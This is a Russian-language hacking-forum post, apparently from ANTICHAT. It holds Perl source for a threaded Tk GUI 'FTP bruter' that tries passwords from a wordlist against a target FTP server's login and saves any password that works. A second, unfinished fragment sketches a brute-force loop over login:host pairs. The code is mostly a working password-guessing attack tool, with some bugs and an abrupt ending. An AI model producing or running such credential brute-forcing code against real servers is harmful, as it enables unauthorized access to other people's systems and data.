ANTICHAT — форум по информационной безопасности, OSINT и технологиям

#!/usr/bin/perl
use Tk;
use NET::FTP;
use threads;
use threads::shared;
my @pass : shared;
my($main,$addr,$dicfile,$fo,$thrd,$save,$login);

$main=MainWindow->new(-title => 'FTP bruter by Spyder'); 
$main->geometry ('320x220');
$main->resizable (0,0);
$main->Label(-text => 'Enter targer for brute (without ftp://)')->pack();
$addr=$main->Entry(-width => 50)->pack;
$main->Label(-text => 'Login')->pack;
$login=$main->Entry(-width => 50)->pack;
$main->Label(-text => "Enter path to save result")->pack;
$save=$main->Entry(-width => 50)->pack;
$main->Label(-text => 'Choose file with passwords')->pack;
$dicfile=$main->Entry(-width => 50,
                      -textvariable => \$fo)->pack;
$main->Button(-text => 'Start brute', 
              -width=> '80',
              -height=> '1',
              -font => 'courier',
              -command => \&Brute)->pack(-side => 'bottom');
$main->Button(-text => 'Browse',
              -command => \&fileopen)->pack(-side => 'left');
$thrd=$main->Entry(-width => 5)->pack(-side => 'right'); 
$main->Label(-text => 'Threads:')->pack(-side => 'right');
sub fileopen
{
	$fo = $main->getOpenFile(); 
}       
MainLoop;
sub Brute
{
        $thr = int($thrd->get);
        $file = $dicfile->get;
        $fsave = $save->get;
        open (SRC, "<$file") or die "Can't open:$!";
        Next:
        @pass = pass();
        my @trl;
        for(0..$thr) 
        { 
	        $trl[$_] = threads->create(\&Brut, $_); 
	}
        for(0..$thr)
        {
	        $trl[$_]->join
        }
                    
        sub Brut
        {
                while (@pass) {
                        $pass = shift @pass;
                        $fsave = $save->get;
                        $ip = $addr->get;
                        $log_in = $login->get;
                        $ftp = Net::FTP->new($ip);           
                        $ok = $ftp->login($log_in,$pass) or exit "$!";
                        if ($ok) 
                        {
                        	open (SAVE, ">>$fsave") or exit "Can't save:$!";
                        	print SAVE "Password for $ip is $pass\n";
                        	close (SAVE);
                        	exit;
                        }
        }
}
goto Next;

sub pass
{
my (@mas);
while (<SRC>){
push @mas, $_;
last if (@mas > 300);
}
chomp @mas;
$n = @mas;
if ($n == 0) {
	open (SAVE, ">>$fsave") or die "Can't save:$!";
	print SAVE "Password not found\n";
	close (SAVE);
	exit;
} else {
return @mas;
}
}
}

#!perl

use strict;
use warnings;

use Tk;
use threads;

my($MW);

threads -> create(\&StartGUI, 'Tk & threads', [640, 480], [0, 0]) -> detach;

sub StartGUI
{
    my($title, $geometry, $resizable) = @_;
    
    $MW = MainWindow -> new(-title => $title);
    $MW -> geometry($geometry -> [0] . 'x' . $geometry -> [1]);
    $MW -> resizable($resizable -> [0], $resizable -> [1]);
    
    MainLoop;
}

sub brut
{
	while (@ftps)
	{
		$ftp = shift @ftps;
		($login, $host) = split (/:/, $ftp);
			foreach (@passwords)
			{
                                $_ обходим все пассы в масиве
			}
	}
}